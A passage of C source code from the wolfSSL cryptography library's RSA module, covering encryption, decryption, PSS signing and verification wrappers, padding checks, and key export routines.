(mp_init(c) != MP_OKAY) ret = MP_INIT_E; if (ret == 0) { if (mp_read_unsigned_bin(c, in, inLen) != 0) ret = MP_READ_E; } if (ret == 0) { /* check c > 1 */ if (mp_cmp_d(c, 1) != MP_GT) ret = RSA_OUT_OF_RANGE_E; } if (ret == 0) { /* add c+1 */ if (mp_add_d(c, 1, c) != MP_OKAY) ret = MP_ADD_E; } if (ret == 0) { /* check c+1 < n */ if (mp_cmp(c, &key->n) != MP_LT) ret = RSA_OUT_OF_RANGE_E; } mp_clear(c); #ifdef WOLFSSL_SMALL_STACK XFREE(c, key->heap, DYNAMIC_TYPE_RSA); #endif if (ret != 0) return ret; } #endif /* NO_RSA_BOUNDS_CHECK */ #endif #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && key->n.raw.len > 0) { ret = wc_RsaFunctionAsync(in, inLen, out, outLen, type, key, rng); } else #endif #ifdef WC_RSA_NONBLOCK if (key->nb) { ret = wc_RsaFunctionNonBlock(in, inLen, out, outLen, type, key); } else #endif { ret = wc_RsaFunctionSync(in, inLen, out, outLen, type, key, rng); } /* handle error */ if (ret < 0 && ret != WC_PENDING_E #ifdef WC_RSA_NONBLOCK && ret != FP_WOULDBLOCK #endif ) { if (ret == MP_EXPTMOD_E) { /* This can happen due to incorrectly set FP_MAX_BITS or missing XREALLOC */ WOLFSSL_MSG("RSA_FUNCTION MP_EXPTMOD_E: memory/config problem"); } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); } return ret; } #ifndef WOLFSSL_RSA_VERIFY_ONLY /* Internal Wrappers */ /* Gives the option of choosing padding type in : input to be encrypted inLen: length of input buffer out: encrypted output outLen: length of encrypted output buffer key : wolfSSL initialized RSA key struct rng : wolfSSL initialized random number struct rsa_type : type of RSA: RSA_PUBLIC_ENCRYPT, RSA_PUBLIC_DECRYPT, RSA_PRIVATE_ENCRYPT or RSA_PRIVATE_DECRYPT pad_value: RSA_BLOCK_TYPE_1 or RSA_BLOCK_TYPE_2 pad_type : type of padding: WC_RSA_PKCSV15_PAD, WC_RSA_OAEP_PAD, WC_RSA_NO_PAD or WC_RSA_PSS_PAD hash : type of hash algorithm to use found in wolfssl/wolfcrypt/hash.h mgf : type of mask generation function to use label : optional label labelSz : size of optional label buffer saltLen : Length of salt used in PSS rng : random number generator */ static int RsaPublicEncryptEx(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, int rsa_type, byte pad_value, int pad_type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz, int saltLen, WC_RNG* rng) { int ret, sz; if (in == NULL || inLen == 0 || out == NULL || key == NULL) { return BAD_FUNC_ARG; } sz = wc_RsaEncryptSize(key); if (sz > (int)outLen) { return RSA_BUFFER_E; } if (sz < RSA_MIN_PAD_SZ) { return WC_KEY_SIZE_E; } if (inLen > (word32)(sz - RSA_MIN_PAD_SZ)) { #ifdef WC_RSA_NO_PADDING /* In the case that no padding is used the input length can and should * be the same size as the RSA key. */ if (pad_type != WC_RSA_NO_PAD) #endif return RSA_BUFFER_E; } switch (key->state) { case RSA_STATE_NONE: case RSA_STATE_ENCRYPT_PAD: #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(HAVE_CAVIUM) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && pad_type != WC_RSA_PSS_PAD && key->n.raw.buf) { /* Async operations that include padding */ if (rsa_type == RSA_PUBLIC_ENCRYPT && pad_value == RSA_BLOCK_TYPE_2) { key->state = RSA_STATE_ENCRYPT_RES; key->dataLen = key->n.raw.len; return NitroxRsaPublicEncrypt(in, inLen, out, outLen, key); } else if (rsa_type == RSA_PRIVATE_ENCRYPT && pad_value == RSA_BLOCK_TYPE_1) { key->state = RSA_STATE_ENCRYPT_RES; key->dataLen = key->n.raw.len; return NitroxRsaSSL_Sign(in, inLen, out, outLen, key); } } #elif defined(WOLFSSL_CRYPTOCELL) if (rsa_type == RSA_PUBLIC_ENCRYPT && pad_value == RSA_BLOCK_TYPE_2) { return cc310_RsaPublicEncrypt(in, inLen, out, outLen, key); } else if (rsa_type == RSA_PRIVATE_ENCRYPT && pad_value == RSA_BLOCK_TYPE_1) { return cc310_RsaSSL_Sign(in, inLen, out, outLen, key, cc310_hashModeRSA(hash, 0)); } #endif /* WOLFSSL_CRYPTOCELL */ key->state = RSA_STATE_ENCRYPT_PAD; ret = wc_RsaPad_ex(in, inLen, out, sz, pad_value, rng, pad_type, hash, mgf, label, labelSz, saltLen, mp_count_bits(&key->n), key->heap); if (ret < 0) { break; } key->state = RSA_STATE_ENCRYPT_EXPTMOD; FALL_THROUGH; case RSA_STATE_ENCRYPT_EXPTMOD: key->dataLen = outLen; ret = wc_RsaFunction(out, sz, out, &key->dataLen, rsa_type, key, rng); if (ret >= 0 || ret == WC_PENDING_E) { key->state = RSA_STATE_ENCRYPT_RES; } if (ret < 0) { break; } FALL_THROUGH; case RSA_STATE_ENCRYPT_RES: ret = key->dataLen; break; default: ret = BAD_STATE_E; break; } /* if async pending then return and skip done cleanup below */ if (ret == WC_PENDING_E #ifdef WC_RSA_NONBLOCK || ret == FP_WOULDBLOCK #endif ) { return ret; } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); return ret; } #endif /* Gives the option of choosing padding type in : input to be decrypted inLen: length of input buffer out: decrypted message outLen: length of decrypted message in bytes outPtr: optional inline output pointer (if provided doing inline) key : wolfSSL initialized RSA key struct rsa_type : type of RSA: RSA_PUBLIC_ENCRYPT, RSA_PUBLIC_DECRYPT, RSA_PRIVATE_ENCRYPT or RSA_PRIVATE_DECRYPT pad_value: RSA_BLOCK_TYPE_1 or RSA_BLOCK_TYPE_2 pad_type : type of padding: WC_RSA_PKCSV15_PAD, WC_RSA_OAEP_PAD, WC_RSA_NO_PAD, WC_RSA_PSS_PAD hash : type of hash algorithm to use found in wolfssl/wolfcrypt/hash.h mgf : type of mask generation function to use label : optional label labelSz : size of optional label buffer saltLen : Length of salt used in PSS rng : random number generator */ static int RsaPrivateDecryptEx(byte* in, word32 inLen, byte* out, word32 outLen, byte** outPtr, RsaKey* key, int rsa_type, byte pad_value, int pad_type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz, int saltLen, WC_RNG* rng) { int ret = RSA_WRONG_TYPE_E; byte* pad = NULL; if (in == NULL || inLen == 0 || out == NULL || key == NULL) { return BAD_FUNC_ARG; } switch (key->state) { case RSA_STATE_NONE: key->dataLen = inLen; #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(HAVE_CAVIUM) /* Async operations that include padding */ if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && pad_type != WC_RSA_PSS_PAD) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (rsa_type == RSA_PRIVATE_DECRYPT && pad_value == RSA_BLOCK_TYPE_2) { key->state = RSA_STATE_DECRYPT_RES; key->data = NULL; return NitroxRsaPrivateDecrypt(in, inLen, out, &key->dataLen, key); #endif } else if (rsa_type == RSA_PUBLIC_DECRYPT && pad_value == RSA_BLOCK_TYPE_1) { key->state = RSA_STATE_DECRYPT_RES; key->data = NULL; return NitroxRsaSSL_Verify(in, inLen, out, &key->dataLen, key); } } #elif defined(WOLFSSL_CRYPTOCELL) if (rsa_type == RSA_PRIVATE_DECRYPT && pad_value == RSA_BLOCK_TYPE_2) { ret = cc310_RsaPublicDecrypt(in, inLen, out, outLen, key); if (outPtr != NULL) *outPtr = out; /* for inline */ return ret; } else if (rsa_type == RSA_PUBLIC_DECRYPT && pad_value == RSA_BLOCK_TYPE_1) { return cc310_RsaSSL_Verify(in, inLen, out, key, cc310_hashModeRSA(hash, 0)); } #endif /* WOLFSSL_CRYPTOCELL */ #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) /* verify the tmp ptr is NULL, otherwise indicates bad state */ if (key->data != NULL) { ret = BAD_STATE_E; break; } /* if not doing this inline then allocate a buffer for it */ if (outPtr == NULL) { key->data = (byte*)XMALLOC(inLen, key->heap, DYNAMIC_TYPE_WOLF_BIGINT); key->dataIsAlloc = 1; if (key->data == NULL) { ret = MEMORY_E; break; } XMEMCPY(key->data, in, inLen); } else { key->data = out; } #endif key->state = RSA_STATE_DECRYPT_EXPTMOD; FALL_THROUGH; case RSA_STATE_DECRYPT_EXPTMOD: #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) ret = wc_RsaFunction(key->data, inLen, key->data, &key->dataLen, rsa_type, key, rng); #else ret = wc_RsaFunction(in, inLen, out, &key->dataLen, rsa_type, key, rng); #endif if (ret >= 0 || ret == WC_PENDING_E) { key->state = RSA_STATE_DECRYPT_UNPAD; } if (ret < 0) { break; } FALL_THROUGH; case RSA_STATE_DECRYPT_UNPAD: #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) ret = wc_RsaUnPad_ex(key->data, key->dataLen, &pad, pad_value, pad_type, hash, mgf, label, labelSz, saltLen, mp_count_bits(&key->n), key->heap); #else ret = wc_RsaUnPad_ex(out, key->dataLen, &pad, pad_value, pad_type, hash, mgf, label, labelSz, saltLen, mp_count_bits(&key->n), key->heap); #endif if (rsa_type == RSA_PUBLIC_DECRYPT && ret > (int)outLen) ret = RSA_BUFFER_E; else if (ret >= 0 && pad != NULL) { #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) signed char c; #endif /* only copy output if not inline */ if (outPtr == NULL) { #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) if (rsa_type == RSA_PRIVATE_DECRYPT) { word32 i, j; int start = (int)((size_t)pad - (size_t)key->data); for (i = 0, j = 0; j < key->dataLen; j++) { out[i] = key->data[j]; c = ctMaskGTE(j, start); c &= ctMaskLT(i, outLen); /* 0 - no add, -1 add */ i += (word32)((byte)(-c)); } } else #endif { XMEMCPY(out, pad, ret); } } else *outPtr = pad; #if !defined(WOLFSSL_RSA_VERIFY_ONLY) ret = ctMaskSelInt(ctMaskLTE(ret, outLen), ret, RSA_BUFFER_E); ret = ctMaskSelInt(ctMaskNotEq(ret, 0), ret, RSA_BUFFER_E); #else if (outLen < (word32)ret) ret = RSA_BUFFER_E; #endif } key->state = RSA_STATE_DECRYPT_RES; FALL_THROUGH; case RSA_STATE_DECRYPT_RES: #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(HAVE_CAVIUM) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && pad_type != WC_RSA_PSS_PAD) { if (ret > 0) { /* convert result */ byte* dataLen = (byte*)&key->dataLen; ret = (dataLen[0] << 8) | (dataLen[1]); if (outPtr) *outPtr = in; } } #endif break; default: ret = BAD_STATE_E; break; } /* if async pending then return and skip done cleanup below */ if (ret == WC_PENDING_E #ifdef WC_RSA_NONBLOCK || ret == FP_WOULDBLOCK #endif ) { return ret; } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); return ret; } #ifndef WOLFSSL_RSA_VERIFY_ONLY /* Public RSA Functions */ int wc_RsaPublicEncrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PUBLIC_ENCRYPT, RSA_BLOCK_TYPE_2, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #if !defined(WC_NO_RSA_OAEP) || defined(WC_RSA_NO_PADDING) int wc_RsaPublicEncrypt_ex(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng, int type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PUBLIC_ENCRYPT, RSA_BLOCK_TYPE_2, type, hash, mgf, label, labelSz, 0, rng); } #endif /* WC_NO_RSA_OAEP */ #endif #ifndef WOLFSSL_RSA_PUBLIC_ONLY int wc_RsaPrivateDecryptInline(byte* in, word32 inLen, byte** out, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #ifndef WC_NO_RSA_OAEP int wc_RsaPrivateDecryptInline_ex(byte* in, word32 inLen, byte** out, RsaKey* key, int type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, type, hash, mgf, label, labelSz, 0, rng); } #endif /* WC_NO_RSA_OAEP */ int wc_RsaPrivateDecrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx((byte*)in, inLen, out, outLen, NULL, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #if !defined(WC_NO_RSA_OAEP) || defined(WC_RSA_NO_PADDING) int wc_RsaPrivateDecrypt_ex(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, int type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx((byte*)in, inLen, out, outLen, NULL, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, type, hash, mgf, label, labelSz, 0, rng); } #endif /* WC_NO_RSA_OAEP || WC_RSA_NO_PADDING */ #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ #if !defined(WOLFSSL_CRYPTOCELL) int wc_RsaSSL_VerifyInline(byte* in, word32 inLen, byte** out, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #endif #ifndef WOLFSSL_RSA_VERIFY_ONLY int wc_RsaSSL_Verify(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { return wc_RsaSSL_Verify_ex(in, inLen, out, outLen, key , WC_RSA_PKCSV15_PAD); } int wc_RsaSSL_Verify_ex(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, int pad_type) { WC_RNG* rng; if (key == NULL) { return BAD_FUNC_ARG; } #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx((byte*)in, inLen, out, outLen, NULL, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, pad_type, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #endif #ifdef WC_RSA_PSS /* Verify the message signed with RSA-PSS. * The input buffer is reused for the output buffer. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyInline(byte* in, word32 inLen, byte** out, enum wc_HashType hash, int mgf, RsaKey* key) { #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER return wc_RsaPSS_VerifyInline_ex(in, inLen, out, hash, mgf, RSA_PSS_SALT_LEN_DEFAULT, key); #else return wc_RsaPSS_VerifyInline_ex(in, inLen, out, hash, mgf, RSA_PSS_SALT_LEN_DISCOVER, key); #endif } /* Verify the message signed with RSA-PSS. * The input buffer is reused for the output buffer. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyInline_ex(byte* in, word32 inLen, byte** out, enum wc_HashType hash, int mgf, int saltLen, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PSS_PAD, hash, mgf, NULL, 0, saltLen, rng); } /* Verify the message signed with RSA-PSS. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_Verify(byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, RsaKey* key) { #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER return wc_RsaPSS_Verify_ex(in, inLen, out, outLen, hash, mgf, RSA_PSS_SALT_LEN_DEFAULT, key); #else return wc_RsaPSS_Verify_ex(in, inLen, out, outLen, hash, mgf, RSA_PSS_SALT_LEN_DISCOVER, key); #endif } /* Verify the message signed with RSA-PSS. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_Verify_ex(byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, int saltLen, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, out, outLen, NULL, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PSS_PAD, hash, mgf, NULL, 0, saltLen, rng); } /* Checks the PSS data to ensure that the signature matches. * Salt length is equal to hash length. * * in Hash of the data that is being verified. * inSz Length of hash. * sig Buffer holding PSS data. * sigSz Size of PSS data. * hashType Hash algorithm. * returns BAD_PADDING_E when the PSS data is invalid, BAD_FUNC_ARG when * NULL is passed in to in or sig or inSz is not the same as the hash * algorithm length and 0 on success. */ int wc_RsaPSS_CheckPadding(const byte* in, word32 inSz, byte* sig, word32 sigSz, enum wc_HashType hashType) { return wc_RsaPSS_CheckPadding_ex(in, inSz, sig, sigSz, hashType, inSz, 0); } /* Checks the PSS data to ensure that the signature matches. * * in Hash of the data that is being verified. * inSz Length of hash. * sig Buffer holding PSS data. * sigSz Size of PSS data. * hashType Hash algorithm. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * returns BAD_PADDING_E when the PSS data is invalid, BAD_FUNC_ARG when * NULL is passed in to in or sig or inSz is not the same as the hash * algorithm length and 0 on success. */ int wc_RsaPSS_CheckPadding_ex(const byte* in, word32 inSz, byte* sig, word32 sigSz, enum wc_HashType hashType, int saltLen, int bits) { int ret = 0; #ifndef WOLFSSL_PSS_LONG_SALT byte sigCheck[WC_MAX_DIGEST_SIZE*2 + RSA_PSS_PAD_SZ]; #else byte *sigCheck = NULL; #endif (void)bits; if (in == NULL || sig == NULL || inSz != (word32)wc_HashGetDigestSize(hashType)) { ret = BAD_FUNC_ARG; } if (ret == 0) { if (saltLen == RSA_PSS_SALT_LEN_DEFAULT) { saltLen = inSz; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ if (bits == 1024 && inSz == WC_SHA512_DIGEST_SIZE) { saltLen = RSA_PSS_SALT_MAX_SZ; } #endif } #ifndef WOLFSSL_PSS_LONG_SALT else if ((word32)saltLen > inSz) { ret = PSS_SALTLEN_E; } #endif #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER else if (saltLen < RSA_PSS_SALT_LEN_DEFAULT) { ret = PSS_SALTLEN_E; } #else else if (saltLen == RSA_PSS_SALT_LEN_DISCOVER) { saltLen = sigSz - inSz; if (saltLen < 0) { ret = PSS_SALTLEN_E; } } else if (saltLen < RSA_PSS_SALT_LEN_DISCOVER) { ret = PSS_SALTLEN_E; } #endif } /* Sig = Salt | Exp Hash */ if (ret == 0) { if (sigSz != inSz + saltLen) { ret = PSS_SALTLEN_E; } } #ifdef WOLFSSL_PSS_LONG_SALT if (ret == 0) { sigCheck = (byte*)XMALLOC(RSA_PSS_PAD_SZ + inSz + saltLen, NULL, DYNAMIC_TYPE_RSA_BUFFER); if (sigCheck == NULL) { ret = MEMORY_E; } } #endif /* Exp Hash = HASH(8 * 0x00 | Message Hash | Salt) */ if (ret == 0) { XMEMSET(sigCheck, 0, RSA_PSS_PAD_SZ); XMEMCPY(sigCheck + RSA_PSS_PAD_SZ, in, inSz); XMEMCPY(sigCheck + RSA_PSS_PAD_SZ + inSz, sig, saltLen); ret = wc_Hash(hashType, sigCheck, RSA_PSS_PAD_SZ + inSz + saltLen, sigCheck, inSz); } if (ret == 0) { if (XMEMCMP(sigCheck, sig + saltLen, inSz) != 0) { WOLFSSL_MSG("RsaPSS_CheckPadding: Padding Error"); ret = BAD_PADDING_E; } } #ifdef WOLFSSL_PSS_LONG_SALT if (sigCheck != NULL) { XFREE(sigCheck, NULL, DYNAMIC_TYPE_RSA_BUFFER); } #endif return ret; } /* Verify the message signed with RSA-PSS. * The input buffer is reused for the output buffer. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * digest Hash of the data that is being verified. * digestLen Length of hash. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyCheckInline(byte* in, word32 inLen, byte** out, const byte* digest, word32 digestLen, enum wc_HashType hash, int mgf, RsaKey* key) { int ret = 0, verify, saltLen, hLen, bits = 0; hLen = wc_HashGetDigestSize(hash); if (hLen < 0) return hLen; if ((word32)hLen != digestLen) return BAD_FUNC_ARG; saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ bits = mp_count_bits(&key->n); if (bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) saltLen = RSA_PSS_SALT_MAX_SZ; #endif verify = wc_RsaPSS_VerifyInline_ex(in, inLen, out, hash, mgf, saltLen, key); if (verify > 0) ret = wc_RsaPSS_CheckPadding_ex(digest, digestLen, *out, verify, hash, saltLen, bits); if (ret == 0) ret = verify; return ret; } /* Verify the message signed with RSA-PSS. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * outLen Length of the output. * digest Hash of the data that is being verified. * digestLen Length of hash. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyCheck(byte* in, word32 inLen, byte* out, word32 outLen, const byte* digest, word32 digestLen, enum wc_HashType hash, int mgf, RsaKey* key) { int ret = 0, verify, saltLen, hLen, bits = 0; hLen = wc_HashGetDigestSize(hash); if (hLen < 0) return hLen; if ((word32)hLen != digestLen) return BAD_FUNC_ARG; saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ bits = mp_count_bits(&key->n); if (bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) saltLen = RSA_PSS_SALT_MAX_SZ; #endif verify = wc_RsaPSS_Verify_ex(in, inLen, out, outLen, hash, mgf, saltLen, key); if (verify > 0) ret = wc_RsaPSS_CheckPadding_ex(digest, digestLen, out, verify, hash, saltLen, bits); if (ret == 0) ret = verify; return ret; } #endif #if !defined(WOLFSSL_RSA_PUBLIC_ONLY) && !defined(WOLFSSL_RSA_VERIFY_ONLY) int wc_RsaSSL_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PRIVATE_ENCRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #ifdef WC_RSA_PSS /* Sign the hash of a message using RSA-PSS. * Salt length is equal to hash length. * * in Buffer holding hash of message. * inLen Length of data in buffer (hash length). * out Buffer to write encrypted signature into. * outLen Size of buffer to write to. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * rng Random number generator. * returns the length of the encrypted signature on success, a negative value * indicates failure. */ int wc_RsaPSS_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, RsaKey* key, WC_RNG* rng) { return wc_RsaPSS_Sign_ex(in, inLen, out, outLen, hash, mgf, RSA_PSS_SALT_LEN_DEFAULT, key, rng); } /* Sign the hash of a message using RSA-PSS. * * in Buffer holding hash of message. * inLen Length of data in buffer (hash length). * out Buffer to write encrypted signature into. * outLen Size of buffer to write to. * hash Hash algorithm. * mgf Mask generation function. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * key Public RSA key. * rng Random number generator. * returns the length of the encrypted signature on success, a negative value * indicates failure. */ int wc_RsaPSS_Sign_ex(const byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, int saltLen, RsaKey* key, WC_RNG* rng) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PRIVATE_ENCRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PSS_PAD, hash, mgf, NULL, 0, saltLen, rng); } #endif #endif #if !defined(WOLFSSL_RSA_VERIFY_ONLY) || !defined(WOLFSSL_SP_MATH) || \ defined(WC_RSA_PSS) int wc_RsaEncryptSize(RsaKey* key) { int ret; if (key == NULL) { return BAD_FUNC_ARG; } ret = mp_unsigned_bin_size(&key->n); #ifdef WOLF_CRYPTO_CB if (ret == 0 && key->devId != INVALID_DEVID) { ret = 2048/8; /* hardware handles, use 2048-bit as default */ } #endif return ret; } #endif #ifndef WOLFSSL_RSA_VERIFY_ONLY /* flatten RsaKey structure into individual elements (e, n) */ int wc_RsaFlattenPublicKey(RsaKey* key, byte* e, word32* eSz, byte* n, word32* nSz) { int sz, ret; if (key == NULL || e == NULL || eSz == NULL || n == NULL || nSz == NULL) { return BAD_FUNC_ARG; } sz = mp_unsigned_bin_size(&key->e); if ((word32)sz > *eSz) return RSA_BUFFER_E; ret = mp_to_unsigned_bin(&key->e, e); if (ret != MP_OKAY) return ret; *eSz = (word32)sz; sz = wc_RsaEncryptSize(key); if ((word32)sz > *nSz) return RSA_BUFFER_E; ret = mp_to_unsigned_bin(&key->n, n); if (ret != MP_OKAY) return ret; *nSz = (word32)sz; return 0; } #endif #endif /* HAVE_FIPS */ #ifndef WOLFSSL_RSA_VERIFY_ONLY static int RsaGetValue(mp_int* in, byte* out, word32* outSz) { word32 sz; int ret = 0; /* Parameters ensured by calling function. */ sz = (word32)mp_unsigned_bin_size(in); if (sz > *outSz) ret = RSA_BUFFER_E; if (ret == 0) ret = mp_to_unsigned_bin(in, out); if (ret == MP_OKAY) *outSz = sz; return ret; } int wc_RsaExportKey(RsaKey* key, byte* e, word32* eSz, byte* n, word32* nSz, byte* d, word32* dSz, byte* p, word32* pSz, byte* q, word32* qSz) { int ret = BAD_FUNC_ARG; if (key && e && eSz && n && nSz && d && dSz && p && pSz && q && qSz) ret = 0; if (ret == 0) ret = RsaGetValue(&key->e, e, eSz); if (ret == 0) ret = RsaGetValue(&key->n, n, nSz); #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (ret == 0) ret = RsaGetValue(&key->d, d, dSz); if (ret == 0) ret = RsaGetValue(&key->p, p, pSz); if (ret == 0) ret = RsaGetValue(&key->q, q, qSz); #else /* no private parts to key */ if (d == NULL || p == NULL || q == NULL || dSz == NULL || pSz == NULL || qSz == NULL) { ret = BAD_FUNC_ARG; } else { *dSz = 0; *pSz = 0; *qSz = 0; } #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ return ret; } #endif #ifdef WOLFSSL_KEY_GEN /* Check that |p-q| > 2^((size/2)-100) */ static int wc_CompareDiffPQ(mp_int* p, mp_int* q, int size) { mp_int c, d; int ret; if (p == NULL || q == NULL) return BAD_FUNC_ARG; ret = mp_init_multi(&c, &d, NULL, NULL, NULL, NULL); /* c = 2^((size/2)-100) */ if (ret == 0) ret = mp_2expt(&c, (size/2)-100); /* d = |p-q| */ if (ret == 0) ret = mp_sub(p, q, &d); if (ret == 0) ret = mp_abs(&d, &d); /* compare */ if (ret == 0) ret = mp_cmp(&d, &c); if (ret == MP_GT) ret = MP_OKAY; mp_clear(&d); mp_clear(&c); return ret; } /* The lower_bound value is floor(2^(0.5) * 